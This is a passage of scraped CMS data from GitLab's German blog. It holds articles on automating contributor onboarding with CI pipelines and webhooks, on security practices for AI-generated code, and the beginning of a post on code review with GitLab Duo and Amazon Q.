unter der Überschrift „Risikofaktoren\" und an anderer Stelle in den Einreichungen und Berichten, die wir bei der Securities and Exchange Commission einreichen. Wir übernehmen keine Verpflichtung, zukunftsgerichtete Aussagen zu aktualisieren oder zu überarbeiten oder über Ereignisse oder Umstände nach dem Datum dieses Blogbeitrags zu berichten oder das Eintreten unvorhergesehener Ereignisse widerzuspiegeln, es sei denn, dies ist gesetzlich vorgeschrieben.*\u003C/small>",{"featured":92,"template":682,"slug":1195},"gitlab-duo-agent-platform-public-beta","content:de-de:blog:gitlab-duo-agent-platform-public-beta.yml","Gitlab Duo Agent Platform Public Beta","de-de/blog/gitlab-duo-agent-platform-public-beta.yml","de-de/blog/gitlab-duo-agent-platform-public-beta",{"_path":1201,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1202,"content":1206,"config":1216,"_id":1218,"_type":16,"title":1219,"_source":17,"_file":1220,"_stem":1221,"_extension":20},"/de-de/blog/how-we-use-gitlab-to-grow-open-source-communities",{"noIndex":6,"title":1203,"description":1204,"ogTitle":1203,"ogDescription":1204,"config":1205},"Mit GitLab Open-Source-Communities erfolgreich skalieren","GitLab steigerte die Mitwirkenden-Erfolgsquote von 17 % auf 100 %. Entdecke die Tools und Automatisierungen, die Open-Source-Onboarding revolutionieren.",{"noIndex":6},{"heroImage":1207,"body":1208,"authors":1209,"updatedDate":1153,"date":1212,"title":1213,"tags":1214,"description":1215,"category":1033},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099558/Blog/Hero%20Images/Blog/Hero%20Images/gitlabflatlogomap_gitlabflatlogomap.png_1750099558369.png","GitLabs Contributor Success Team stand vor einer Herausforderung.\n\n\nWährend unsere wiederkehrenden Open-Source-Mitwirkenden mehr Code-Änderungen mergten und an tiefgreifenden Funktionen zusammenarbeiteten, hatten Erstmitwirkende Schwierigkeiten, den Einstieg zu finden. Wir wussten, dass viele Neulinge in Open Source oft aufgaben oder nie um Hilfe baten. Aber als Verfechter von [GitLabs Mission](https://handbook.gitlab.com/handbook/company/mission/),\n\n\nallen das Mitwirken zu ermöglichen, wollten wir es besser machen.\n\n\n\nWir begannen Forschungsstudien über Open-Source-Mitwirkende bei GitLab durchzuführen. Dann verbesserten wir die Stolpersteine. Im Januar erreichten wir einen Rekord von 184 einzigartigen Community-Mitwirkenden bei GitLab in einem einzigen Monat\n\n\nund übertrafen damit erstmals unser Teamziel von 170.\n\n\n\nDrei Monate später brachen wir den Rekord erneut mit 192.\n\n\n\nSo haben wir GitLabs eigene Tools genutzt, um das Neueinsteiger-Dilemma zu lösen und unsere Open-Source-Community wachsen zu lassen.\n\n\n> **Über 6,4 Mio. Builds pro Monat: So transformiert Siemens seine Softwareentwicklung mit GitLab** Über 40.000 Entwickler(innen) bei Siemens nutzen GitLab, um weltweit zusammenzuarbeiten und jeden Monat mehr als 6,4 Millionen Software-Versionen automatisch bereitzustellen. Erfahre, wie eine offene DevOps-Kultur und eine zentrale Plattform die Effizienz und Sicherheit steigern. [Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/siemens/)\n\n\n## Was wir aus der Untersuchung von Erstmitwirkenden gelernt haben\n\n\n\n2023 führten wir die erste Nutzerstudie über GitLab Open-Source-Mitwirkende durch.\n\n\nWir beobachteten sechs Teilnehmende, die noch nie bei GitLab mitgewirkt hatten, bei ihrem ersten Versuch. Sie führten Tagebuchstudien durch und nahmen an Zoom-Interviews teil, in denen sie ihre Erfahrungen detailliert schilderten.\n\n\n\nDie Teilnehmenden sagten uns:\n\n\n\n* Die Mitwirkenden-Dokumentation war verwirrend\n\n\n* Der Einstieg fühlte sich überwältigend an\n\n\n* Es war nicht klar, wie oder wo man Hilfe finden konnte\n\n\n\nNur eine(r) der sechs Teilnehmenden schaffte es während der Studie erfolgreich, einen Code-Beitrag zu GitLab zu mergen.\n\n\n\nEs wurde klar, dass wir uns auf die Onboarding-Erfahrung konzentrieren mussten, wenn wir wollten, dass neue Mitwirkende Erfolg haben.\n\n\nAlso haben wir [iteriert](https://handbook.gitlab.com/handbook/values/#iteration)!\n\n\n\nUnser Team verbrachte das nächste Jahr damit, ihre Herausforderungen anzugehen. Wir nutzten GitLab-Tools\n\n\nwie Issue-Templates, geplante Pipelines, Webhooks und die GitLab Query Language (GLQL), um eine innovative halbautomatisierte Onboarding-Lösung zu entwickeln.\n\n\n\n2025 führten wir eine Folgestudie mit neuen Teilnehmenden durch, die noch nie einen Beitrag zu GitLab geleistet hatten. Alle 10 Teilnehmenden erstellten und mergten erfolgreich Beiträge zu GitLab – eine Erfolgsquote von 100 %. Das Feedback zeigte große Wertschätzung für den neuen Onboarding-Prozess, die Geschwindigkeit, mit der\n\n\nMaintainer bei Mitwirkenden nachfragten, und die Anerkennung, die wir Mitwirkenden anboten.\n\n\n\nNoch besser: Die Teilnehmenden teilten mit, wie viel Spaß sie beim Mitwirken hatten:\n\n\n„Ich fühlte einen kleinen Adrenalinstoß bei dem Gedanken, sagen zu können: ‚Ich habe beim Aufbau von GitLab geholfen.'\"\n\n\n\n## Wir haben persönliches Onboarding mit GitLab aufgebaut\n\n\n\nUnsere Lösung begann mit Engagement.\n\n\nUm Neulingen beim Einstieg zu helfen, führten wir einen persönlichen Onboarding-Prozess ein, der jeden\n\n\nMitwirkenden mit einem Community-Maintainer verbindet.\n\n\n\nWir erstellten ein [Issue-Template](https://gitlab.com/gitlab-community/meta/-/blob/ac0e5579a6a1cf26e367010bfcf6c7d35b38d4f8/.gitlab/issue_templates/Onboarding.md) mit einer klaren Checkliste von Aufgaben.\n\n\n\nDas Onboarding-Issue behandelt auch die Zugangsgenehmigung für die\n\n\n[GitLab Community Forks](https://about.gitlab.com/blog/gitlab-community-forks/),\n\n\neine Sammlung gemeinsamer Projekte, die es einfacher machen, Änderungen zu pushen, mit anderen zusammenzuarbeiten\n\n\nund auf GitLab Ultimate- und Duo-Funktionen zuzugreifen.\n\n\n\nMit [Scoped Labels](https://docs.gitlab.com/user/project/labels/#scoped-labels) zeigen wir den Status der Zugangsanfrage für einfache Maintainer-Nachverfolgungen an.\n\n\n\n![GitLab onboarding issue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/vkiyl0hrfbgcer3nz38r.png)\n\n\n\nWir begannen mit einem Ruby-Skript, das über eine [geplante Pipeline](https://docs.gitlab.com/ci/pipelines/schedules/) ausgeführt wurde,\n\n\nnach neuen Zugangsanfragen suchte und das Issue-Template nutzte, um personalisierte Onboarding-Issues zu erstellen.\n\n\n\nVon hier aus engagieren sich unsere Maintainer mit neuen Mitwirkenden, um den Zugang zu verifizieren, Fragen zu beantworten und Issues zu finden.\n\n\n\n## Wir standardisierten Antworten mit Kommentar-Templates\n\n\n\nMit mehreren Maintainern in der GitLab-Community wollten wir konsistente und klare Kommunikation sicherstellen.\n\n\n\nWir erstellten [Kommentar-Templates](https://docs.gitlab.com/user/profile/comment_templates/),\n\n\ndie wir mit dem Repository über die GraphQL-API und ein\n\n\n[Ruby-Skript](https://gitlab.com/gitlab-community/meta/-/blob/dd6e0c2861c848251424b72e3e8c5603dcaac725/bin/sync_comment_templates.rb) synchronisieren.\n\n\n\nDas Skript wird in `.gitlab-ci.yml` ausgelöst, wenn Änderungen an Kommentar-Templates\n\n\nzum Standard-Branch gepusht werden (ein Trockenlauf wird in Merge Requests ausgelöst).\n\n\n\n```yaml\n\n\nexecute:sync-comment-templates:\n  stage: execute\n  extends: .ruby\n  script:\n    - bundle exec bin/sync_comment_templates.rb\n  variables:\n    SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_ONLY\n  rules:\n    - if: $CI_PIPELINE_SOURCE == 'schedule' || $CI_PIPELINE_SOURCE == \"trigger\"\n      when: never\n    - if: $EXECUTE_SYNC_COMMENT_TEMPLATES == '1'\n    - if: $CI_MERGE_REQUEST_IID\n      changes:\n        - .gitlab/comment_templates/**/*\n      variables:\n        REPORT_ONLY: 1\n    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH\n      changes:\n        - .gitlab/comment_templates/**/*\n      variables:\n        FORCE_SYNC: 1\n        DRY_RUN: 0\n        SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_WRITE\n```\n\n\n\n![GitLab comment template](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512803/qmfaymqhq3zgdcnm6a3j.png)\n\n\n\n## Wir eliminierten die 5-Minuten-Wartezeit\n\n\n\nUnsere erste Iteration war etwas langsam.\n\n\nNach dem Start des Onboarding-Prozesses fragten sich Mitwirkende, was als Nächstes zu tun ist, während die geplante Pipeline bis zu 5 Minuten brauchte, um ihr Onboarding-Issue zu erstellen.\n\n\nFünf Minuten fühlen sich wie eine Ewigkeit an, wenn du den Schwung hast, einzutauchen.\n\n\n\n[Niklas](https://gitlab.com/Taucher2003), ein Mitglied unseres [Core Teams](https://about.gitlab.com/community/core-team/), entwickelte eine Lösung. Er fügte [Webhook-Events für Zugangsanfragen ](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/163094)und [benutzerdefinierte Payload-Templates für Webhooks](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/142738) hinzu.\n\n\n\nDiese Funktionen ermöglichten es uns gemeinsam, eine Pipeline sofort auszulösen, anstatt auf den Zeitplan zu warten. Das reduziert die Zeit auf etwa 40 Sekunden (die Zeit, die die CI-Pipeline zum Ausführen benötigt) und generiert das Onboarding-Issue sofort. Es spart auch Tausende verschwendeter Pipelines und Compute-Minuten, wenn tatsächlich keine Zugangsanfragen verarbeitet werden müssen.\n\n\n\nWir richteten ein [Pipeline-Trigger-Token](https://docs.gitlab.com/ci/triggers/#create-a-pipeline-trigger-token) ein und nutzten dies als Ziel für den Webhook, wobei wir die gewünschten Umgebungsvariablen übergaben:\n\n\n\n```json\n\n\n{\n  \"ref\": \"main\",\n  \"variables\": {\n    \"EXECUTE_ACCESS_REQUESTS\": \"1\",\n    \"DRY_RUN\": \"0\",\n    \"PIPELINE_NAME\": \"Create onboarding issues\",\n    \"GROUP_ID\": \"{{group_id}}\",\n    \"EVENT_NAME\": \"{{event_name}}\"\n  }\n}\n\n\n```\n\n\n\n![Pipeline list](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512805/qom7hnqnwfcdzvria7dd.png)\n\n\n\n## Wir automatisierten Nachfassaktionen\n\n\n\nMit einem steigenden Volumen von Kunden und Community-Mitwirkenden, die in die GitLab-Community einsteigen,\n\n\nhatten Maintainer Schwierigkeiten nachzuvollziehen, welche Issues Aufmerksamkeit benötigten, und einige Nachfragen gingen verloren.\n\n\n\nWir bauten eine Automatisierung auf, die Webhooks und Ruby nutzt, um Issues zu kennzeichnen, die von Community-Mitgliedern aktualisiert wurden.\n\n\nDies schafft ein klares Signal des Issue-Status für Maintainer.\n\n\n\n[GitLab Triage](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage)\n\n\nstupst automatisch inaktive Onboarding-Issues an, um sicherzustellen, dass wir die Dynamik der Mitwirkenden aufrechterhalten.\n\n\n\n![Automated nudge for idle GitLab onboarding issues](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512811/gkj3qaidjl1vv2dlu8ep.png)\n\n\n\n## Wir organisierten die Issue-Verfolgung mit GLQL\n\n\n\nWir bauten eine [GLQL-Ansicht](https://docs.gitlab.com/user/glql/), um Issues im Blick zu behalten.\n\n\nDiese GLQL-Tabelle fasst Onboarding-Issues zusammen, die Aufmerksamkeit benötigen,\n\n\ndamit Maintainer sie überprüfen und mit Community-Mitgliedern nachfassen können.\n\n\n\n![GLQL view of issue tracking](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/hdduf0orntdfhkysheae.png)\n\n\n\nDiese GLQL-Ansichten verbesserten unsere gesamte Triage-[Effizienz](https://handbook.gitlab.com/handbook/values/#efficiency).\n\n\nEs war so erfolgreich, dass wir diese Strategie auch bei den Programmen [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/)\n\n\nund [GitLab for Education](https://about.gitlab.com/solutions/education/) anwendeten.\n\n\nMit GLQL-Tabellen für Support-Issues senkten diese Community-Programme ihre Antwortzeiten um 75%.\n\n\n\n## Wir machten die README auffindbar\n\n\n\nDie [@gitlab-community-Gruppe](https://gitlab.com/gitlab-community/)\n\n\nist das Zuhause für Mitwirkende auf GitLab.com.\n\n\nWir hatten bereits eine `README.md`-Datei, die die Community Forks und den Onboarding-Prozess erklärte, aber diese Datei\n\n\nbefand sich in unserem Meta-Projekt.\n\n\nMit unserer Folgestudie entdeckten wir, dass dies ein Verwirrungspunkt für Neulinge war, wenn ihre\n\n\nOnboarding-Issues unter einem anderen Projekt waren.\n\n\n\nWir nutzten [GitLabs Projekt-Spiegelung](https://docs.gitlab.com/user/project/repository/mirror/),\n\n\num dies zu lösen und spiegelten das Meta-Projekt zu `gitlab-profile`.\n\n\nDies machte die bestehende README-Datei auf Gruppenebene sichtbar und erleichterte die Entdeckung.\n\n\n\n![GitLab project mirroiring](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512809/kbgdxyilza71kmj0aeqt.png)\n\n\n\n![Group README](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/taosgn8vvgo8onszuwaf.png)\n\n\n\n## Die Ergebnisse sprechen für sich selbst\n\n\n\nDurch das Dogfooding von GitLab verbesserten wir die in unseren Forschungsstudien gefundenen Stolpersteine\n\n\nund transformierten die GitLab-Mitwirkenden-Journey.\n\n\nWir haben die Anzahl der Kunden und Community-Mitglieder erhöht, die zu GitLab beitragen,\n\n\nFunktionen zum Produkt hinzufügen, Fehler beheben und zu unserem CI/CD-Katalog beitragen.\n\n\n\nUnser Onboarding-Prozess hat die Rate erhöht, mit der Neulinge der Community beitreten, und unsere Gesamtzahl der\n\n\nMitwirkenden in den Community Forks hat sich in den letzten 9 Monaten verdoppelt.\n\n\n\n![Community forks growth chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512803/xagra4vfsrhbcwnzekmp.png)\n\n\n\nWir reduzierten die Zeit, die Neulinge für ihren ersten Beitrag benötigen, indem wir sie\n\n\nschneller mit Maintainern verbinden und sie beim Einstieg unterstützen.\n\n\nWir nutzen [GitLabs Value Stream Analytics](https://docs.gitlab.com/user/group/value_stream_analytics/),\n\n\num unsere Antwortzeiten zu verfolgen.\n\n\n\n* Die erste Antwortzeit von Community-Maintainern liegt in den letzten 3 Monaten bei 46 Minuten\n\n\n* Die durchschnittliche Genehmigungszeit für den Zugang zu Community Forks liegt in den letzten 3 Monaten bei 1 Stunde\n\n\n\n![Value stream analytics timeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512812/jzksakrfdb22hooqemzh.png)\n\n\n\nDie 100%-ige Erfolgsquote unserer Nutzerstudie 2025 bestätigte diese Verbesserungen für unsere Erstmitwirkenden.\n\n\n\n## Wir investierten Zeiteinsparungen in die Anerkennung von Mitwirkenden\n\n\n\nDie Behebung dieser Neueinsteiger-Herausforderungen ermöglichte uns mehr Kapazität, uns auf eine bessere Anerkennung von\n\n\nMitwirkenden zu konzentrieren und Erstmitwirkende zu motivieren, wiederzukommen.\n\n\nDas Ergebnis ist [contributors.gitlab.com](https://contributors.gitlab.com/).\n\n\nWir haben einen zentralen Hub für unsere Mitwirkenden aufgebaut, der gamifizierte Bestenlisten,\n\n\nErfolge und Belohnungen bietet.\n\n\nMitwirkende können ihre Wirkung sehen, Fortschritte verfolgen und in der Community wachsen.\n\n\n\n## Was wir gelernt haben teilen\n\n\n\nDiese Verbesserungen funktionieren und sind für andere Open-Source-Projekte wiederholbar.\n\n\nWir teilen unseren Ansatz über Communities und Konferenzen hinweg, damit andere Projekte in Betracht ziehen können, diese Tools zum Wachstum zu nutzen.\n\n\n\nWenn mehr Organisationen die Teilnahmebarrieren kennenlernen, können wir eine einladendere Open-Source-Umgebung schaffen.\n\n\nMit diesen GitLab-Tools können wir sowohl Mitwirkenden als auch Maintainern eine reibungslosere Erfahrung bieten.\n\n\nWir sind entschlossen, diese Arbeit voranzutreiben und zusammenzuarbeiten, um Barrieren für Open-Source-Projekte überall zu beseitigen.\n\n\n\n## Das Gespräch beginnen\n\n\n\nMöchtest du mehr darüber erfahren, wie du deine Mitwirkenden-Community wachsen lassen kannst?\n\n\nSende eine E-Mail an `contributors@gitlab.com` oder [öffne ein Issue](https://gitlab.com/gitlab-org/developer-relations/contributor-success/team-task/-/issues),\n\n\num eine Diskussion zu beginnen.\n\n\nWir sind hier, um beim Aufbau von Communities zu helfen.\n",[1210,1211],"Lee Tickett","Daniel Murphy","2025-07-15","Von 17 % auf 100 %: Wie wir das Open-Source-Onboarding revolutionierten",[913,270,680],"In nur einem Jahr steigerten wir die Erfolgsquote neuer Open-Source-Mitwirkender von 17 % auf 100 %. Hier sind die GitLab-Tools und -Prozesse, die den Unterschied machten.",{"featured":6,"template":682,"slug":1217},"how-we-use-gitlab-to-grow-open-source-communities","content:de-de:blog:how-we-use-gitlab-to-grow-open-source-communities.yml","How We Use Gitlab To Grow Open Source Communities","de-de/blog/how-we-use-gitlab-to-grow-open-source-communities.yml","de-de/blog/how-we-use-gitlab-to-grow-open-source-communities",{"_path":1223,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1224,"content":1227,"config":1236,"_id":1238,"_type":16,"title":1239,"_source":17,"_file":1240,"_stem":1241,"_extension":20},"/de-de/blog/3-best-practices-for-building-software-in-the-era-of-llms",{"noIndex":6,"title":1225,"description":1226,"ogTitle":1225,"ogDescription":1226},"3 Regeln für sichere Softwareentwicklung mit KI/LLMs","81% der Entwickler nutzen bereits KI. Lerne 3 essenzielle Sicherheitspraktiken: Zero-Trust für KI-Code, sicheres Prompting und automatisierte Scans.",{"heroImage":1228,"body":1229,"authors":1230,"updatedDate":1231,"date":1232,"title":1233,"tags":1234,"description":1235,"category":677},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662523/Blog/Hero%20Images/Gartner_DevOps_Blog_Post_Cover_Image_1800x945__2_.png","KI ist schnell zu einem Kernbestandteil der modernen Softwareentwicklung geworden. Sie hilft Entwickler(innen) nicht nur dabei, schneller als je zuvor zu programmieren, sondern automatisiert auch Low-Level-Aufgaben wie das Schreiben von Testfällen oder das Zusammenfassen von Dokumentationen. Laut unserer [2024 Global DevSecOps Survey](https://about.gitlab.com/de-de/developer-survey/) nutzen bereits 81 % der Entwickler(innen) KI in ihren Workflows oder planen dies in den nächsten zwei Jahren.\n\nDa Code mit weniger manuellem Aufwand geschrieben wird, beobachten wir eine subtile, aber wichtige Verhaltensänderung: Entwickler(innen) beginnen, KI-generiertem Code mit weniger Prüfung zu vertrauen. Dieses Vertrauen – so verständlich es auch sein mag – kann stillschweigend Sicherheitsrisiken einführen, insbesondere wenn das Gesamtvolumen des Codes zunimmt. \n\nVon Entwickler(innen) kann nicht erwartet werden, dass sie über jede Schwachstelle oder jeden Exploit auf dem Laufenden bleiben. Deshalb brauchen wir Systeme und Sicherheitsvorkehrungen, die mit ihnen skalieren. KI-Tools sind gekommen, um zu bleiben. Als Sicherheitsexperten ist es daher die Pflicht, Entwickler(innen) zu befähigen, diese so zu übernehmen, dass sowohl Geschwindigkeit als auch Sicherheit verbessert werden.\n\nHier sind drei praktische Wege, dies zu erreichen.\n\n## Niemals vertrauen, immer verifizieren\n\nWie bereits erwähnt, beginnen Entwickler(innen), KI-generiertem Code bereitwilliger zu vertrauen, besonders wenn er sauber aussieht und fehlerfrei kompiliert. Um dem entgegenzuwirken, sollte eine Zero-Trust-Mentalität angenommen werden. Während oft über [Zero Trust (englischsprachiger Artikel)](https://about.gitlab.com/blog/why-devops-and-zero-trust-go-together/) im Kontext von Identitäts- und Zugriffsmanagement gesprochen wird, kann dasselbe Prinzip hier mit einem etwas anderen Rahmen angewendet werden. KI-generierten Code wie Input von einem Junior-Entwickler behandeln: hilfreich, aber nicht produktionsreif ohne ordnungsgemäße Überprüfung.\n\nEntwickler(innen) sollten erklären können, was der Code tut und warum er sicher ist, bevor er gemergt wird. Die Überprüfung von KI-generiertem Code könnte sich sogar als eine aufkommende Fähigkeit herausstellen, die in der Welt der Softwareentwicklung erforderlich ist. Die Entwickler(innen), die darin sehr gut sind, werden unverzichtbar sein, weil sie die Geschwindigkeit von LLMs mit der Denkweise zur Risikominderung verbinden, um sicheren Code schneller zu produzieren.\n\nHier können Tools wie [GitLab Duo Code Review (englischsprachiger Artikel)](https://docs.gitlab.com/user/project/merge_requests/duo_in_merge_requests/) helfen. Als Feature unseres KI-Begleiters über den gesamten Softwareentwicklungszyklus hinweg bringt es KI in den Code-Review-Prozess – nicht um menschliches Urteilsvermögen zu ersetzen, sondern um es zu verbessern. Durch das Aufzeigen von Fragen, Inkonsistenzen und übersehenen Problemen in den Merge Requests kann KI Entwickler(innen) dabei helfen, mit genau der KI Schritt zu halten, die Entwicklungszyklen beschleunigt.\n\n## Prompts für sichere Muster\n\nLarge Language Models [LLMs (englischsprachiger Artikel)](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/) sind leistungsfähig, aber nur so präzise wie die ihnen gegebenen Prompts. Deshalb wird Prompt Engineering zu einem Kernbestandteil der Arbeit mit KI-Tools. In der Welt der LLMs *ist* die Eingabe die Schnittstelle. Entwickler(innen), die lernen, klare, sicherheitsbewusste Prompts zu schreiben, werden eine Schlüsselrolle beim Aufbau sichererer Software von Anfang an spielen.\n\nBeispielsweise führen vage Anfragen wie „baue ein Login-Formular\" oft zu unsicheren oder zu vereinfachten Ergebnissen. Durch die Einbeziehung von mehr Kontext, wie „baue ein Login-Formular **mit** Eingabevalidierung, Rate Limiting und Hashing, **und** unterstütze Phishing-resistente Authentifizierungsmethoden wie Passkeys\", ist es wahrscheinlicher, dass eine Ausgabe produziert wird, die den Sicherheitsstandards der Organisation entspricht.\n\nAktuelle [Forschung (englischsprachiger Artikel)](https://www.backslash.security/press-releases/backslash-security-reveals-in-new-research-that-gpt-4-1-other-popular-llms-generate-insecure-code-unless-explicitly-prompted) von Backlash Security unterstützt dies. Hiernach verbessere sicheres Prompting die Ergebnisse bei beliebten LLMs. Wenn Entwickler(innen) die Modelle einfach baten, „sicheren Code zu schreiben\", blieben die Erfolgsraten niedrig. Wenn jedoch Prompts auf [OWASP Best Practices (englischsprachiger Artikel)](https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html) verwiesen, stieg die Rate der sicheren Code-Generierung.\n\nPrompt Engineering sollte Teil dessen sein, wie Security Champions innerhalb von Entwicklungsteams geschult und befähigt werden. Genau wie sichere Coding-Muster und Threat Modeling gelehrt werden, sollte Entwickler(innen) auch beigebracht werden, wie KI-Tools mit derselben Sicherheitsdenkweise geleitet werden.\n\n> Erfahre mehr mit diesen hilfreichen englischsprachigen [Prompt-Engineering-Tipps](https://docs.gitlab.com/development/ai_features/prompt_engineering/).\n\n## Alles scannen, keine Ausnahmen\n\nDer Aufstieg der KI bedeutet, dass mehr Code schneller mit der gleichen Anzahl von Menschen geschrieben wird. Diese Verschiebung sollte die Denkweise über Sicherheit ändern – nicht nur als abschließende Überprüfung, sondern als ständig aktive Schutzmaßnahme, die in jeden Aspekt des Entwicklungsprozesses eingewoben ist.\n\nMehr Code bedeutet eine größere Angriffsfläche. Und wenn dieser Code teilweise oder vollständig generiert ist, können wir uns nicht allein auf sichere Coding-Praktiken oder individuelle Intuition verlassen, um Risiken zu erkennen. Hier kommt automatisiertes Scannen ins Spiel. [Static Application Security Testing (SAST) (englischsprachiger Artikel)](https://docs.gitlab.com/user/application_security/sast/), [Software Composition Analysis (SCA) (englischsprachiger Artikel)](https://docs.gitlab.com/user/application_security/dependency_scanning/) und [Secret Detection (englischsprachiger Artikel)](https://docs.gitlab.com/user/application_security/secret_detection/) werden zu kritischen Kontrollen, um das Risiko von Secret Leaks, Supply-Chain-Angriffen und Schwachstellen wie SQL-Injections zu mindern. Mit Plattformen wie GitLab ist \\[Application Security] (englischsprachiger Artikel)(https://about.gitlab.com/solutions/security-compliance/) nativ in den Workflow der Entwickler(innen) integriert, was sie zu einem natürlichen Teil des Entwicklungslebenszyklus macht. Scanner können auch durch das gesamte Programm verfolgen, um sicherzustellen, dass neuer KI-generierter Code sicher ist *im Kontext des gesamten anderen Codes* – das kann schwer zu erkennen sein, wenn nur neuer Code in der IDE oder in einem KI-generierten Patch betrachtet wird.\n\nAber es geht nicht nur ums Scannen, es geht darum, Schritt zu halten. Wenn Entwicklungsteams mit der Geschwindigkeit der KI-unterstützten Entwicklung mithalten wollen, brauchen sie Scans, die schnell, genau und auf Skalierung ausgelegt sind. Genauigkeit ist besonders wichtig. Wenn Scanner Entwickler(innen) mit False Positives überwältigen, besteht das Risiko, das Vertrauen in das System insgesamt zu verlieren.\n\nDer einzige Weg, schnell zu agieren *und* sicher zu bleiben, ist, das Scannen nicht verhandelbar zu machen.\n\nJeder Commit. Jeder Branch. Keine Ausnahmen.\n\n## Sicherer KI-generierter Code mit GitLab\n\nKI verändert die Art und Weise, wie Software entwickelt wird, aber die Grundlagen der sicheren Softwareentwicklung gelten weiterhin. Code muss immer noch überprüft werden. Bedrohungen müssen immer noch getestet werden. Und Sicherheit muss immer noch in die Arbeitsweise eingebettet sein. Bei GitLab haben wir genau das getan.\n\nAls Entwicklerplattform schrauben wir Sicherheit nicht an den Workflow – wir betten sie direkt dort ein, wo Entwickler(innen) bereits arbeiten: in der IDE, in Merge Requests und in der Pipeline. Scans laufen automatisch und relevanter Sicherheitskontext wird angezeigt, um schnellere Behebungszyklen zu ermöglichen. Und da es Teil derselben Plattform ist, auf der Entwickler(innen) Software erstellen, testen und bereitstellen, gibt es weniger Tools zu jonglieren, weniger Kontextwechsel und einen viel reibungsloseren Weg zu sicherem Code.\n\nKI-Funktionen wie [Duo Vulnerability Explanation und Vulnerability Resolution](https://about.gitlab.com/de-de/the-source/ai/understand-and-resolve-vulnerabilities-with-ai-powered-gitlab-duo/) fügen eine weitere Ebene von Geschwindigkeit und Einblick hinzu und helfen Entwickler(innen), Risiken zu verstehen und sie schneller zu beheben, ohne ihren Flow zu unterbrechen.\n\nKI ist keine Abkürzung zur Sicherheit. Aber mit den richtigen Praktiken – und einer Plattform, die Entwickler(innen) dort abholt, wo sie sind – kann sie absolut Teil des Aufbaus von Software sein, die schnell, sicher und skalierbar ist.\n\n> Starte deine [kostenlose Testversion von GitLab Ultimate mit Duo Enterprise](https://about.gitlab.com/de-de/free-trial/) und erlebe, wie es ist, sichere Software schneller zu entwickeln. Mit nativer Sicherheitsprüfung, KI-gestützten Einblicken und einer nahtlosen Entwicklererfahrung hilft GitLab dabei, Sicherheit nach links zu verschieben, ohne zu verlangsamen.",[1171],"2025-07-22","2025-07-10","3 Best Practices für die Softwareentwicklung im Zeitalter von LLMs",[679,765],"Da KI die Entwicklungsgeschwindigkeit transformiert, brauchen Entwickler(innen) neue Sicherheitsgewohnheiten. Erfahre, welche das sind und wie sie im DevSecOps-Workflow eingesetzt werden.",{"featured":92,"template":682,"slug":1237},"3-best-practices-for-building-software-in-the-era-of-llms","content:de-de:blog:3-best-practices-for-building-software-in-the-era-of-llms.yml","3 Best Practices For Building Software In The Era Of Llms","de-de/blog/3-best-practices-for-building-software-in-the-era-of-llms.yml","de-de/blog/3-best-practices-for-building-software-in-the-era-of-llms",{"_path":1243,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1244,"content":1247,"config":1255,"_id":1257,"_type":16,"title":1258,"_source":17,"_file":1259,"_stem":1260,"_extension":20},"/de-de/blog/accelerate-code-reviews-with-gitlab-duo-and-amazon-q",{"noIndex":6,"title":1245,"description":1246,"ogTitle":1245,"ogDescription":1246},"GitLab + Amazon Q: Code Reviews in 30 Sekunden","/q review eingeben - fertig! GitLab Duo mit Amazon Q analysiert deinen Code sofort. Bugs, Standards, Lesbarkeit. Keine Wartezeiten mehr. Jetzt testen!",{"date":1248,"authors":1249,"heroImage":1250,"body":1251,"title":1252,"description":1253,"category":677,"updatedDate":1254},"2025-07-08",[888],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750096976/Blog/Hero%20Images/Blog/Hero%20Images/Screenshot%202024-11-27%20at%204.55.28%E2%80%AFPM_4VVz6DgGBOvbGY8BUmd068_1750096975734.png","Code Reviews sind wichtig, um Bugs zu finden, die Lesbarkeit des Codes zu verbessern und Programmierstandards einzuhalten, aber sie können auch zu einem großen Engpass in deinem Workflow führen. Wenn du versuchst, Features schnell zu veröffentlichen, kann es ziemlich frustrierend sein, auf andere Teammitglieder zu warten, die deinen Code überprüfen. Langwierige Diskussionen, Terminkonflikte und die Zeit, die es braucht, um alle Beteiligten auf einen Nenner zu bringen, können eine einfache Review über Tage oder sogar Wochen in die Länge ziehen.\n\nHier kommt [GitLab Duo mit Amazon Q](/de-de/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/), unser neues Angebot, das AWS-Kund(inn)en agentenbasierte KI während des gesamten Software-Entwicklungsprozesses zur Verfügung stellt, ins Spiel, um deinen Review-Prozess zu transformieren.\n\nDiese intelligente, KI-gestützte Lösung kann umfassende Code Reviews für dich durchführen, und das in einem Bruchteil der Zeit, die deine menschlichen Kolleg(inn)en dafür benötigen würden. Durch die Nutzung fortschrittlicher agentischer KI-Funktionen optimiert GitLab Duo mit Amazon Q deinen gesamten Review-Workflow, ohne dass du dabei Abstriche bei der Qualität und Gründlichkeit machen musst. Stell dir vor, es gäbe jemanden, der immer zur Verfügung steht, deinen Code sofort analysiert und dir umsetzbares Feedback gibt.\n\n## So funktioniert’s: Einen Code Review starten\n\nWie funktioniert GitLab Duo mit Amazon Q eigentlich? Angenommen, du hast gerade die 